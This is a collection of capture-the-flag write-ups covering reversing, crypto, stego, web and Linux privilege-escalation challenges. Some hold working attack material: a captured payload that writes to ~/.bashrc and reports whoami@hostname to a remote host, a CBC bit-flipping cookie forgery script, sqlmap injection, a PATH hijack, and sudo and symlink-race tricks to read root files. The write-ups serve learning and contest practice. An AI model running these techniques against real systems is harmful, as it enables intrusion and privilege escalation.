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# quackmePoints: 200
## CategoryReversing
## Question>Can you deal with the Duck Web? Get us the flag from this [program](files/main). You can also find the program in /problems/quackme_4_0e48834ea71b521b9f35d29dc7be974e.
### Hint>Objdump or something similar is probably a good place to start.
## SolutionUpon listing all the functions, there are multiple written functions. We can analyse and print the function `do_magic()`
```asm[0x08048642]> pdf/ (fcn) sym.do_magic 211| sym.do_magic ();| ; var int local_1dh @ ebp-0x1d| ; var int local_1ch @ ebp-0x1c| ; var int local_18h @ ebp-0x18| ; var int local_14h @ ebp-0x14| ; var int local_10h @ ebp-0x10| ; var int local_ch @ ebp-0xc| ; CALL XREF from sym.main (0x804874a)| 0x08048642 55 push ebp| 0x08048643 89e5 mov ebp, esp| 0x08048645 83ec28 sub esp, 0x28 ; '('| 0x08048648 e88effffff call sym.read_input| 0x0804864d 8945ec mov dword [local_14h], eax| 0x08048650 83ec0c sub esp, 0xc| 0x08048653 ff75ec push dword [local_14h]| 0x08048656 e835feffff call sym.imp.strlen ; size_t strlen(const char *s)| 0x0804865b 83c410 add esp, 0x10| 0x0804865e 8945f0 mov dword [local_10h], eax| 0x08048661 8b45f0 mov eax, dword [local_10h]| 0x08048664 83c001 add eax, 1| 0x08048667 83ec0c sub esp, 0xc| 0x0804866a 50 push eax| 0x0804866b e8f0fdffff call sym.imp.malloc ; void *malloc(size_t size)| 0x08048670 83c410 add esp, 0x10| 0x08048673 8945f4 mov dword [local_ch], eax| 0x08048676 837df400 cmp dword [local_ch], 0| ,=< 0x0804867a 751a jne 0x8048696| | 0x0804867c 83ec0c sub esp, 0xc| | 0x0804867f 6884880408 push str.malloc___returned_NULL._Out_of_Memory ; 0x8048884 ; "malloc() returned NULL. Out of Memory\n"| | 0x08048684 e8e7fdffff call sym.imp.puts ; int puts(const char *s)| | 0x08048689 83c410 add esp, 0x10| | 0x0804868c 83ec0c sub esp, 0xc| | 0x0804868f 6aff push 0xffffffffffffffff| | 0x08048691 e8eafdffff call sym.imp.exit ; void exit(int status)| | ; CODE XREF from sym.do_magic (0x804867a)| `-> 0x08048696 8b45f0 mov eax, dword [local_10h]| 0x08048699 83c001 add eax, 1| 0x0804869c 83ec04 sub esp, 4| 0x0804869f 50 push eax| 0x080486a0 6a00 push 0| 0x080486a2 ff75f4 push dword [local_ch]| 0x080486a5 e816feffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)| 0x080486aa 83c410 add esp, 0x10| 0x080486ad c745e4000000. mov dword [local_1ch], 0| 0x080486b4 c745e8000000. mov dword [local_18h], 0| ,=< 0x080486bb eb4e jmp 0x804870b| | ; CODE XREF from sym.do_magic (0x8048711)| .--> 0x080486bd 8b45e8 mov eax, dword [local_18h]| :| 0x080486c0 0558880408 add eax, obj.sekrutBuffer| :| 0x080486c5 0fb608 movzx ecx, byte [eax]| :| 0x080486c8 8b55e8 mov edx, dword [local_18h]| :| 0x080486cb 8b45ec mov eax, dword [local_14h]| :| 0x080486ce 01d0 add eax, edx| :| 0x080486d0 0fb600 movzx eax, byte [eax]| :| 0x080486d3 31c8 xor eax, ecx| :| 0x080486d5 8845e3 mov byte [local_1dh], al| :| 0x080486d8 8b1538a00408 mov edx, dword obj.greetingMessage ; [0x804a038:4]=0x80487f0 str.You_have_now_entered_the_Duck_Web__and_you_re_in_for_a_honkin__good_time.__Can_you_figure_out_my_trick| :| 0x080486de 8b45e8 mov eax, dword [local_18h]| :| 0x080486e1 01d0 add eax, edx| :| 0x080486e3 0fb600 movzx eax, byte [eax]| :| 0x080486e6 3a45e3 cmp al, byte [local_1dh]| ,===< 0x080486e9 7504 jne 0x80486ef| |:| 0x080486eb 8345e401 add dword [local_1ch], 1| |:| ; CODE XREF from sym.do_magic (0x80486e9)| `---> 0x080486ef 837de419 cmp dword [local_1ch], 0x19 ; [0x19:4]=-1 ; 25| ,===< 0x080486f3 7512 jne 0x8048707| |:| 0x080486f5 83ec0c sub esp, 0xc| |:| 0x080486f8 68ab880408 push str.You_are_winner ; 0x80488ab ; "You are winner!"| |:| 0x080486fd e86efdffff call sym.imp.puts ; int puts(const char *s)| |:| 0x08048702 83c410 add esp, 0x10| ,====< 0x08048705 eb0c jmp 0x8048713| ||:| ; CODE XREF from sym.do_magic (0x80486f3)| |`---> 0x08048707 8345e801 add dword [local_18h], 1| | :| ; CODE XREF from sym.do_magic (0x80486bb)| | :`-> 0x0804870b 8b45e8 mov eax, dword [local_18h]| | : 0x0804870e 3b45f0 cmp eax, dword [local_10h]| | `==< 0x08048711 7caa jl 0x80486bd| `----> 0x08048713 c9 leave\ 0x08048714 c3 ret```
Let's take a look what is necessary to get to `puts("You are winner!");` address. We see that we need to pass this test where _ebp + 0x1c_ must be equals to _0x19_.
```asm0x080486ef 837de419 cmp dword [local_1ch], 0x19 ; [0x19:4]=-1 ; 25...0x080486f8 68ab880408 push str.You_are_winner ; 0x80488ab ; "You are winner!"0x080486fd e86efdffff call sym.imp.puts ; int puts(const char *s)```
Looking around the assembly, we can see that there is an instruction that adds _1_ to _ebp + 0x1c_.
```asm0x080486eb 8345e401 add dword [local_1ch], 1```
We also notice that there is a loop at the bottom of the assembly.
```asm; CODE XREF from sym.do_magic (0x80486f3)0x08048707 8345e801 add dword [local_18h], 1; CODE XREF from sym.do_magic (0x80486bb)0x0804870b 8b45e8 mov eax, dword [local_18h]0x0804870e 3b45f0 cmp eax, dword [local_10h]0x08048711 7caa jl 0x80486bd```
Debugging the program, we can see that the number of loops it does corresponds to the number of characters inputted.
We also see that there's an XOR function, where _eax_ is the characters you put in and _ecx_ are the characters provided by the binary.
```asm0x080486d3 31c8 xor eax, ecx```
Putting everything together, it is trying to loop through every character in the input, xor it with the characters in the binary make sure it equates to the initial message. The initial message is: _You have now entered the Duck Web, and you're in for a honkin' good time._
Writing some pseudo code, it will look something like this
```count = 0for (i = 0; i < length_of_user_input; i++) { data = user_input[i] xor binary_data[i] if (data == initial_message[i]) { count += 1 } if (count == 25) { print "You are winner!" }}```
Let's leak the values of the binary string. We see that the string is located in here
```asm0x080486c0 0558880408 add eax, obj.sekrutBuffer```Get the value from the address
```asm[0x08048642]> px @ obj.sekrutBuffer- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0x08048858 2906 164f 2b35 301e 511b 5b14 4b08 5d2b )..O+50.Q.[.K.]+0x08048868 5014 5d00 1917 5952 5d00 4e6f 206c 696e P.]...YR].No lin```
We only need the first 25 bytes. We can then use a Python program to XOR the data ourselves and get the flag.
```pythoninitialMsg = "You have now entered the Duck Web, and you're in for a honkin' good time."xorData = '2906164f2b35301e511b5b144b085d2b50145d00191759525d'.decode('hex')
flag = ''for i in range(len(xorData)): flag += chr(ord(xorData[i]) ^ ord(initialMsg[i]))
print flag```
And we get the flag! Just to confirm, we can pass the flag into the binary
```$ ./main You have now entered the Duck Web, and you're in for a honkin' good time.Can you figure out my trick?picoCTF{qu4ckm3_5f8d9c17}You are winner!That's all folks.```
And there we go. This took me 1 whole day to solve. I hate reversing.
### Flag`picoCTF{qu4ckm3_5f8d9c17}` |
# curlpipebash
## The task:
Execute this Bash command to print the flag :)
`curl -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.sh | bash`
## solutionLets execute first part of the command:```$ curl -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.shcurl -Ns https://curlpipebash.teaser.insomnihack.ch/03b2ae8c-ed33-48c8-ade9-c62f750e068c | bash```
It returns another curl command. But execution of second curl command returns first:```$ curl -Ns https://curlpipebash.teaser.insomnihack.ch/03b2ae8c-ed33-48c8-ade9-c62f750e068ccurl -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.sh | bash```
Okay. Let's execute first one and look at HTTP headers:```$ curl -D - -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.shHTTP/1.1 200 OKX-Powered-By: ExpressDate: Sat, 26 Jan 2019 14:37:10 GMTConnection: keep-aliveTransfer-Encoding: chunked
curl -Ns https://curlpipebash.teaser.insomnihack.ch/59f467b5-1b38-46c9-9237-64ea4a77488d | bash```
`Transfer-Encoding: chunked `, piping to bash another curl command and token hint us to use the same connection.
Tried to use `openssl s_client -connect ...` but it was disconnecting before second request has sent. Perhaps I have two left hands.
Ruby solution:
```require 'socket'require 'openssl'
tcp_client = TCPSocket.new 'curlpipebash.teaser.insomnihack.ch', 443context = OpenSSL::SSL::SSLContext.newssl_client = OpenSSL::SSL::SSLSocket.new tcp_client, context
ssl_client.connecturl = "GET /print-flag.sh HTTP/1.1\nHost: curlpipebash.teaser.insomnihack.ch\n\n"puts "url 1: " + urlssl_client.puts urlputs "answer 1: "puts ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsstr = ssl_client.getsputs str
token = str.scan(/\w+-\w+-\w+-\w+-\w+/)puts "token: " + token.first
url = "GET /#{token.first} HTTP/1.1\nUser-Agent: curl/7.47.0\nAccept: */*\nHost: curlpipebash.teaser.insomnihack.ch\n\n"puts "url 2: " + urlssl_client.puts urlputs "answer 2: "puts ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.gets
url = "GET /#{token.first}/add-to-wall-of-fame/aaa%40bbb HTTP/1.1\nUser-Agent: curl/7.47.0\nAccept: */*\nHost: curlpipebash.teaser.insomnihack.ch\n\n"
puts "url 3: " + urlssl_client.puts urlputs "answer 3: "puts ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.gets```
output:```$ ruby /tmp/curlbash.rburl 1: GET /print-flag.sh HTTP/1.1Host: curlpipebash.teaser.insomnihack.ch
answer 1:HTTP/1.1 200 OKX-Powered-By: ExpressDate: Sat, 26 Jan 2019 14:47:45 GMTConnection: keep-aliveTransfer-Encoding: chunked
60curl -Ns https://curlpipebash.teaser.insomnihack.ch/a101be68-3a9b-4d39-b2ba-e9b530bc9b90 | bashtoken: a101be68-3a9b-4d39-b2ba-e9b530bc9b90url 2: GET /a101be68-3a9b-4d39-b2ba-e9b530bc9b90 HTTP/1.1User-Agent: curl/7.47.0Accept: */*Host: curlpipebash.teaser.insomnihack.ch
answer 2:
81base64 -d >> ~/.bashrc <<< ZXhwb3J0IFBST01QVF9DT01NQU5EPSdlY2hvIFRIQU5LIFlPVSBGT1IgUExBWUlORyBJTlNPTU5JSEFDSyBURUFTRVIgMjAxOScK
86curl -Ns https://curlpipebash.teaser.insomnihack.ch/a101be68-3a9b-4d39-b2ba-e9b530bc9b90/add-to-wall-of-shame/$(whoami)%40$(hostname)url 3: GET /a101be68-3a9b-4d39-b2ba-e9b530bc9b90/add-to-wall-of-fame/aaa%40bbb HTTP/1.1User-Agent: curl/7.47.0Accept: */*Host: curlpipebash.teaser.insomnihack.ch
answer 3:
21INS{Miss me with that fishy pipe}0
HTTP/1.1 200 OK``` |
In this challenge, there is an `uninitialized variable` vulnerability that leads to `double free` and `use after free (UAF)`. Using these, we leak a `libc` address to de-randomize `ASLR`, launch `tcache dup` attack, and then put our `fake chunk` address into the `tcache` using `tcache poisoning` attack. As a result, we can force `malloc` to return our `fake chunk` before `__free_hook`, so we can overwrite `__free_hook` with `one gadget`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, `Full RELRO`, and `ASLR` in `x86_64` binaries in presence of `tcache`. |
It is an AES cipher with a 1 byte key randomization and we have a key for a message. There was a hint: xuts refers to 400000th transmission. But it is not necessary, the message can be easily bruteforced.
It looks simple: shift the previous key and try all chars for the last (randomized) byte. To test if the new key is valid, I've checked if the decrypted message contains printable characters (note that there were two false possitives).
For a few cases I wasn't able to judge which key is valid, then I skip this message and brute the next. The last message (flag) contains some non 7-bit ASCII chars - I've print all posibilities and find it "manually".
EDIT: I've just seen that there were sometimes non ascii chars like in the flag, so the test could be better and then no skipping needed...
Full python code:```import stringprintset = set(string.printable)
from Crypto import Randomfrom Crypto.Cipher import AES def shift(k, n): return k[-n:] + k[:-n]
class AESCipher:
def __init__( self, key ): self.key = key
def decrypt(self, enc): cipher = AES.new(self.key, AES.MODE_ECB) return cipher.decrypt(enc) def decode(text, key, first = False): for b in range(256): k = shift(key, 1) k = k[:-1] + chr(b) cipher = AESCipher(k) dc = cipher.decrypt(text) if first: print dc # is printable? + some false possitive if set(dc).issubset(printset) and dc != 'R(?p*H(W1t2j7J;A' and not dc.startswith('9vkB'): return k, dc
return None, None
key = '52433d7c48262e5c497e435d58442d36'.decode('hex')tut = 'defdf8e526b7945e19789b9fa533ef7d4c7ee8d2956a99791ea26e9ba64db394' # found by brute forcing all messages
lines = open('Ciphertext.txt').readlines()
for i in range(len(lines)): if tut == lines[i][:-1]: j = i - 1 while j >= 0: text = lines[j][:-1].decode('hex') k, dc = decode(text, key, j == 0) if j == 0: break # key not found? -> brute next if k == None: text = lines[j-1][:-1].decode('hex') for b in range(256): k = shift(key, 1) k = k[:-1] + chr(b) k, dc = decode(text, k) if k != None: j = j - 1 break if k == None: raise RuntimeError('not found') key = k print j+1, dc, key.encode('hex') j = j - 1 break```
The flag:```evlz{74!5_5¥573^^_83773Я_83_53('-'Я3}ctf``` |
# Rick Roll Do Not Listen (Grab Bag)
## The challengeThe download gives us an audio file which is well.. what the title says..
After listening, looking at the file's data, and considering the title this is probably a steganography-challenge. Lets look at the file with the stegonagraphy tool _steghide_
Bingo! Looks like we used the right tool and found an embedded file called flag.txt. Lets extract it.
|
# Solenostomus (Linux)
## What can we do?Okay after looking around for a while nothing obvious appears but the description mentions processes so lets look at _top_.
Okay surprisingly few processes but nothing wierd. Lets look at _/proc_
One wierd thing here is the process called 15 which does not appear on _top_ but is mentioned in the challenge description AND is owned by my user so lets investigate more in there.
Flag found!
|
# Evlz CTF 2019 – Don't Blink
* **Category:** Misc* **Points:** 100
## Challenge
> Do you have persistence of vision? Well try it out with this file
## Solution
The file is a GIF image which shows several frames containg parts of the final flag.
The GIF must be split (e.g. using [https://ezgif.com/split](https://ezgif.com/split)) and then each frame must be merged in the same final image, ignoring white background.
The merge operation can be performed via script or using an image manipulation program (*MS Paint* can be fine).
The final image will be:
Hence, the flag is:
```evlz{catch_me}ctf``` |
[Jackalope's Live set]---Question:--- Flag located in livestream
Answer--- 1. Flag is located at 23:45
Flag:--- flag{MISSJACKALOPEDOTCOM} |
# Santa's No Password Login System (Web)
Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand.
Also I might be wrong on some things. Enjoy :)
(P.S Check out my [CTF cheat sheet](https://github.com/flawwan/CTF-Candy))
The website looks like this:
Nothing interesting in the source of the website.
With this information I am certain we should either inject stuff in the Referer header or the user agent header.
I tried fuzzing the Referer with common user agents but no luck there. Moving on to the user agent header.
First I wrote my own fuzz tool to target the user-agent header. No fun in using ZAP:p.
Script available here [script.py](script.py)
After a few seconds the program stopped and said:
```[y] Success, ' or '1'='1```
Now it says welcome instead of access denied. This means we have a sql injection.
Let's verify it with ZAP.
Cool. Let's fire up `sqlmap` and dump the tables.
### Using SQLmap to target User-Agent.
```$ sqlmap -u "http://199.247.6.180:12003/" --level 3 --random-agent --dbs```
* This will use a random user agent as the sqlmap user agent was blocked by the server.* level 3 is used to target the Referer and user-agent header.
Running the script we can speed things up by pressing [CTRL-C] as sqlmap will first try to exploit the Referer header. We know the sqli is in the user-agent field. Now press [n] for next parameter which will be our user-agent.
Cool we have the databases for the mysql database.
Now we can dump the tables of db.
And then we dump the columns of the uas table.
And finally we dump the content of the uas table.
 |
# *Secured Logon*
## Information| Points |Category | Level||--|--|--|| 500 | Web Exploitation |Hard |
## Challenge> Uh oh, the login page is more secure... I think. `http://2018shell.picoctf.com:12004` ([link](http://2018shell.picoctf.com:12004)). [Source](https://2018shell.picoctf.com/static/914c9135423cd92f5fdb3ff2dec437d8/server_noflag.py).### Hint
> There are versions of AES that really aren't secure.## Solution
Let's open the link we got, looks like a normal site with a login form. I tried to sign in with a random username and password - a:a and it's worked?! maybe I chose the right username and password? I tried to sign out and sign in as another username and password - b:b and it's worked too! After login we can see this text:
> Success: You logged in! Not sure you'll be able to see the flag though.
and a title that say "No flag for you" :-(
Below all this there is a text say:
> Cookie: {'username': 'a', 'admin': 0, 'password': 'a'}
So maybe we just need to login as a admin? I tried the username and password admin:admin. And this message popup -
> I'm sorry the admin password is super secure. You're not getting in that way.
So let's check the cookie that saved for this site.
Right click -> inspect Element -> choose the tab Storage (in Mozilla Firefox)
and we can see that there are a few cookies but the one who cached my eyes was with the name "cookie" 
and the value was:
>C5PhO981qfZXWk6gh1+yzqek/cbh3lFbhlAG74fgPUinlzV1ZL3NAVaxvZwl5abNpCRwzXTBrjV9oeTZfk3XuQ==
For checking if it's connected to the login I tried to sign out and the cookie disappeared. So basically this:
{'username': 'a', 'admin': 0, 'password': 'a'} became to this: `C5PhO981qfZXWk6gh1+yzqek/cbh3lFbhlAG74fgPUinlzV1ZL3NAVaxvZwl5abNpCRwzXTBrjV9oeTZfk3XuQ==`
And probably we want the admin value be 1. So now it's the time to check the source code we got. In the source code we can see that the code connected to the login form, and the cookie. So what we can learn about the encryption? There is a function named "encrypt": **Raw** - the data we want to encrypt 1. Get the raw and pad it (add bites) 2. Create the iv 3. Get the ciphertext 4. return the ciphertext as 64base code
So here is some basic definitions that I will use later:
- **Plaintext** - the text we want to encrypt. - **IV** - the block of text we use to randomize the encryption. - **Key** - the key we use in a symmetric encryption. - **Ciphertext** - the encrypted text.
So after looking again in the function we can see that the encryption is AES with CBC mode, the padding is for 16 Bytes and after the encryption the result coded by 64base code.
So here is some explanations of the concepts above: **AES** - subset encryption of block cipher, in general (it's away more complicated) there is a plaintext and a key,the plaintext divided for blocks of some bytes and each block encrypted with the key.
**CBC** - (**C**ipher **B**lock **C**haining) - the key for encryption for each block of the **plain**text is the the previous **cipher**text. the first plaintext (that dosent have a previous ciphertext) key is the IV 
For more information about [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) and for [CBC](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_%28CBC%29). So now after some digging in the internet about AES CBC mode I found a nice attack called "CBC Byte Flipping Attack" - the purpose of the attack is to change byte of the plaintext by changing byte of the ciphertext. 
This is exactly what we want, we want to change the 0 value of admin to 1, so we don't need to "crack" the encryption but only to change 1 byte of the ciphertext and after decryption the plaintext will be the plaintext we wanted.
so our plaintext is: (after login with empty username and password)
{'username': '', 'admin': 0, 'password': ''} and the plaintext we want is: {'username': '', 'admin': 1, 'password': ''} and by reviewing the cookie in the browser we can see that our ciphertext is:
Sj1vwoe8gNvq/I7UdyXTms8/T2+yPPiy4xuZQ33nktu/5eb+8Xl2pvLb9QKyIrnfaIhmGZmW3U5iq5M0LA7Fkg==
so let's check which block of plaintext we want to change - (remember we found in the source code that each block is 16 byte)
|Block|Value ||:--:|:--:|| 1 | {'username': '',|| 2 | 'admin': **0**, 'pa || 3 | ssword': ''} |
So we want to change the first block in order to make a change in the second block (that his key is the ciphertext of the first block).
> **"A rule of thumb is that the byte you change in a ciphertext will ONLY affect a byte at the same offset of next plaintext."**
so now we want to check the offset of the byte we want to change -
|Index|Text ||:--:|:--:|| 0 | (whitespace)|| 1| '|| 2 | a|| 3 | d|| 4| m|| 5| i|| 6| n|| 7 | '|| 8| :|| 9| (whitespace)|| **10**| **0** || ...|... |
Therefore we want to change the first block at the 10 index byte. in order to change it from 0 to 1, we take this byte and do XOR with "0" and after that XOR with "1".
The first XOR with cause the bits of "0" to be zero and after XOR with "1" the bits of "1" will be on in the byte and we will get the new ciphertext. **For more information read [this](https://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/#gref) amazing article.**
So I wrote this python code: ```pythonfrom base64 import b64encode, b64decode cookie = 'Enter Your Cookie'#decrypt the 64base codeDcookie = b64decode(cookie) #In order to work with the 10th char, make it a list (because string in python is immutable)listCookie = list(Dcookie) #ord - cast from char to number#chr - cast from char to ascii#Set the 10th char to be the XOR of him with "0" and XOR that with "1"listCookie[10] = chr(ord(Dcookie[10])^ord("0")^ord("1")) #join again the list to a stringDcookie = "".join(listCookie) #encode the string again as a 64base codeprint b64encode(Dcookie)```so this script print me the new ciphertext as the plain text was:
{'username': '', 'admin': 1, 'password': ''} and now set this value as the value of cookie named "cookie" in the browser. refresh the page, and...**vualá** we got the flag!!
## Flag> ``picoCTF{fl1p_4ll_th3_bit3_a41d2782}``
|
# Description
The year is 30xx. Clyde is trapped in an interdimensional transport module. The Federation has captured the module and has prepared to dock. The captain of the Federation lander has instructed the henchmen to bring Clyde in to Federation custody. As a precaution they will place Clyde in a clean room to remove any radiation. Luckily, you’ve hacked into the lander’s mainframe. Help Clyde escape!
`ssh [email protected]`
# Solution
If you log into the server, you will find youself within a restricted shell: `rshell`. You can't `cd`, `ls` or anything useful. Variables `SHELL` and `PATH` and read-only. With double-tab, you can see the list of the available commands. If you type anything and then tab, you will see the directory content.
You can remark a `bin` directory, containing `tee`, allowing you to write script with `echo (your code) | tee file`.
But you can also do `ssh [email protected] 'bash'` and bypass `rbash` completely. You can go to `/root` and display the content of `flag.txt`: `MCA{ieHaisoh4eif2ae}`. |
# Description
W(e( (h(a(v(e( (t(o( (g(o( (d(e(e(p(e(r)))))))))))))))))))
There is a file to download.
# Solution
If you `file flag`, you will get:`flag: bzip2 compressed data, block size = 400k`
Ok, easy, you just to unzip it to flag1. If you `file flag1`, you will get:`flag1: Zip archive data, at least v2.0 to extract`
At that point, you probably understand the meaning of the description of the challenge. The flag has been multiple times compressed and base64-coded. Too many times to do it manually.
I wrote a simple python script to do it. At each step, it uses `file` to know which transformation to apply: unzip or base64.
```pythonimport osimport subprocess
f = "flag"nb = 0while True: result = subprocess.run(['file',f+str(nb)], stdout=subprocess.PIPE) a = str(result.stdout) print(nb,a) if "zip" in a or "Zip" in a: # Unzip using 7z os.system('7z x -bb '+f+str(nb)) os.system('mv flag '+f+str(nb+1)) os.system('mv '+f+str(nb)+'~ '+f+str(nb+1)) nb += 1 elif "ASCII" in a: # base64 decode os.system('cat '+f+str(nb)+' | base64 -d > '+f+str(nb+1)) nb += 1 else: exit()```
To use this script, rename `flag` into `flag0` and run `python3 script.py`.
There are 500 steps. The flag is in flag500: `MCA{Wh0_Needz_File_Extensions?}` |
# Description
Nyayanayanayanayanayanayanayan
`ssh [email protected]`
# Solution
If you try to connect to the server, you will be welcomed by an animated nyancat. If you want to analyze the output of the server, better save it into a file:
`ssh [email protected] > output`
If you search for "MCA" (the flag format is MCA{…}), then you find the flag.
You can do it in one line with:
`ssh [email protected] | grep "MCA" | cat -v`
The command `cat -v` disables the ANSI escape code that mess the terminal.
The flag is: `MCA{Airadaepohh8Sha}`. |
[Z3r0 C00l Bruh!]---Question:--- Hackers keep secrets.
Answer--- 1. We are presented a file with the name "hackers.jpeg" 2. After running some diagnostic on it e.g strings, we can see that there is something off with the headers of the file
4. As I've done a lot of stego my self, this is obviously used with steghide, as it presents these headers / hexinfo 5. I unlocked the hints as my bruteforce didn't go as planned in terms of extracting the embedded file 6. After i while, i thought why not try "neverlanctf" for the password of the picture 7. steghide extract -sf hackers.jpeg --passphrase neverlanct
8. Cat the output of the file "Ohno.txt" presents us with the following:
I wonder what this is???? Fowbjcsniuwcwscotsxvevvko
9. Firstly i thought it was base64 (it was not) 10. Secondly i thought it was a caesar cipher / rot 13 (it was not) 11. Thidrdly i thought it was a Viginere cipher 12. It was a Viginere with the password "hackers" (as the hint gave us "what are they")
The result of the decryptet message: Yourflagismyfavoritemovie
13. Tried first "Yourflagismyfavoritemovie" 14. Tried second "myfavoritemovie" 15. Success!
Comment:--- hint1: Most CTF keys are the name of the CTF but not all. hint2: What Are they?
Flag:--- Yourflagismyfavoritemovie myfavoritemovie |
# Description
TODO: Remember where I put that flag…
http://138.247.13.110/
# Solution
Using the debugger of Firefox, I find the script `lists.js`. Inside, there is some javascript code. A line is particularly interesting: `var todoURL = '/api/todos/' + todoID + '/'`.
Why not check `http://138.247.13.110/api/todos/`? We found the complete list of todo list! We can find easily the flag in there: ``` { "id": 678, "todolist": 678, "description": "MCA{al3x4_5et_a_r3minder}", "created_at": "2019-02-23T17:22:16.462620Z", "is_finished": false, "finished_at": null }``` |
# Getting A Head (Linux)
## What can we do?When logged in and executing the ls command I can see that we have an executable with root privileges that I can run. This is probably the way to escalate our privileges.
A test run of the file does not give us anything. By using the _strings_ command on the file we might get a little bit more understanding of what it is doing.
Looks like a C program which uses **system** to execute the _head_ command on the file _/var/log/auth.log_
## Lets try to exploit system()System looks in the PATH environment variable after a location with an executable called head. If can put my own executable called head in one of those locations it will be executed with root privileges.
Lets check out the PATH variable.
Okay the location in the home folder seems perfect, lets create it and then an executable called head.
The flag is located at _/root/flag.txt_ which we do not have permissions to read from. (This can be found out from the previous linux-challenge or by using the head file for looking around with for example _find / flag | grep flag_)
Boom privilege escalated! Nice challenge - do not use system() folks.
|
# Description
All you need to do is read the flag!
`ssh [email protected]`
# Solution
Wandering around on the server, I remark the file `sudo-1.8.14.tar.gz`. Ok, so `sudo` will probably help us. Let's check `/etc/sudoers`:
`ctf ALL=(root) NOPASSWD: /usr/bin/vim /home/ctf/*/*/HackMe2.txt`
We can read a file name `HackMe2.txt` as root (without password needed) if it's located in `/home/ctf/*/*`. Remember, our objective is to read `/root/flag.txt`. The idea it to create this `HackMe2.txt` at the right place and link it to `/root/flag.txt`. In other word:
```ctf@d2db6dbd656b:~$ mkdir -p a/bctf@d2db6dbd656b:~$ cd a/bctf@d2db6dbd656b:~/a/b$ ln -s /root/flag.txt HackMe2.txtctf@d2db6dbd656b:~/a/b$ sudo /usr/bin/vim /home/ctf/a/b/HackMe2.txt```
The flag is `MCA{ohghov1ieli7Eo2}`. |
# *Forensics Warmup 1*
## Information| Points |Category | Level||--|--|--|| 50 | Forensics |Easy |
## Challenge
> Can you unzip this [file](https://2018shell.picoctf.com/static/8483d8ac0beca391b8322bc414773cfc/flag.zip) for me and retreive the flag?
### Hint> Make sure to submit the flag as picoCTF{XXXXX}## Solution
Let's download the file, we can see it's a zip file, so we want to extract it.
Open terminal -> move to the folder of the file (by cd) -*> uzip flag.zip
***unzip** - command to extract files from zip file.
now in the same folder we can see a flag.png file open it and the flag is there.
## Flag> `picoCTF{welcome_to_forensics}`
|
# PGP - Crypto (50 pts)
## Description
Quatre fichiers sont fournis :- key.enc (Fichier chiffré)- flag.html.enc (Fichier chiffré)- mitre-ctf-2019-private.enc (Clé privée PGP)- passphrase (associé à la clé privée)
L'idée est d'apprendre à utiliser PGP.
## Soluce
- Première étape :Utiliser *gpg2* ou un utilitaire graphique (*gpa*) pour importer la clé PGP privée (mitre-ctf-2019-private.enc).Celle-ci permet ensuite de déchiffrer des fichiers chiffrés par PGP. En testant sur les différents fichiers, on voit quekey.enc peut être déchiffré. Aucun autre fichier ne semble pouvoir être déchiffré avec PGP.
- Deuxième étape :En analysant le fichier key obtenu, on voit qu'il fait 256 octets, la taille d'une clé AES-256.Le fichier chiffré flag.html.enc analysé via binwalk révèle qu'il s'agit d'une chaîne chiffré et salé via openssl.En testant aes-256-cbc sur le fichier avec le fichier key grâce à la commande suivante, on obtient le contenu du fichier flag.html.enc
`openssl aes-256-cbc -kfile decrypted_key -d -in flag.html.enc -out flag`
Le flag obtenu est donc : `MCA{66b2f50cd2d6b9622c6be902ee2b0976badb4684}` |
There was a python installed, so I've decided to write a python script. I've used the scp (WinSCP) to upload and run the script on the machine.
Race condition in python:
```import osfrom threading import Thread
def func(): os.system('./FileChecker ./flag') def linkctf(): try: os.unlink('flag') except: pass os.symlink('.profile', 'flag') # link ctf owned file def linkroot(): os.unlink('flag') os.symlink('/root/flag.txt', 'flag') # link root owned file
linkctf()t1 = Thread(target=linkroot)t2 = Thread(target=func)
t2.start()t1.start()
t1.join()t2.join()``` |
nullcon HackIM 2019: Captcha Forest=============================
## Description
A baby captcha just for you.
`nc misc.ctf.nullcon.net 6001`
The server sent us a `png` image in hexadecimal. We have to solve the captcha and output 4 corresponding characters.
This challenge need to be solved 200 times to output the flag.
The image is a concatenation of 4 characters from the Bill Cipher (a code in Gravity Fall).
#### Example of characters
## Solution
Using Google, we found a table with similar character for the Bill Cipher.
The mapping works if we answer manually to the server, so that's great.
Right now we would like to automate it. The quality of the image seems not enough to do a good enough matching. So with more google search I found the [exact images](https://www.dcode.fr/gravity-falls-bill-cipher) used in the challenge!
From there we just split the catpcha in 4, pick the symbol with the least absolute difference for each of the 4 images.
It's then the trivial to communicate with the server and get the flag.
## Code
The code is written [here](script.py)
The image mapping is stored [here](mapping)
## Flag
`hackim19{Since_you_are_not_a_robot_I_will_give_you_the_flag}` |
[Console]---Question:--- You control the browser https://challenges.neverlanctf.com:1120
Answer--- 1. I spent a long time trying to find the md5 hash "7b1ece53a46f4a5a2995b9cf901bf457" on several sites to see what it was, but no luck. 2. The question text lead to "You are incontrol of the browser" so i tried to tweak some stuff in the source of the code. 3. First i tried to change the MD5 hash to see if it had any effect, it did not. 4. I ended up with changing the getThat to "Y":
5. This gave me the flag:
Flag:--- flag{console_controls_js} |
Timeout error leaks flag. If we pause for more than 5 seconds in our code. The error will be triggered.
```import requestspayload = {'code' : 'if charAt(DEV_NULL, 0) == \'3\' then pause(10000) end'}r = requests.post('http://35.207.189.79/wee/dev/null', json = payload)print r.text
'''# python solver.py
{"error":"Command '['ts-node', '--cacheDirectory', '../weelang/__cache__', '../weelang/weeterpreter.ts', \"\\n var DEV_NULL: string = '35C3_TH3_SUN_IS_TH3_SAM3_YOU_RE_OLDER'\\n if charAt(DEV_NULL, 0) == '3' then pause(10000) end\\n \"]' timed out after 5 seconds"}
'''```
|
ok ok I will be the one to do this write-up ;)
Simply do a strings on challenge
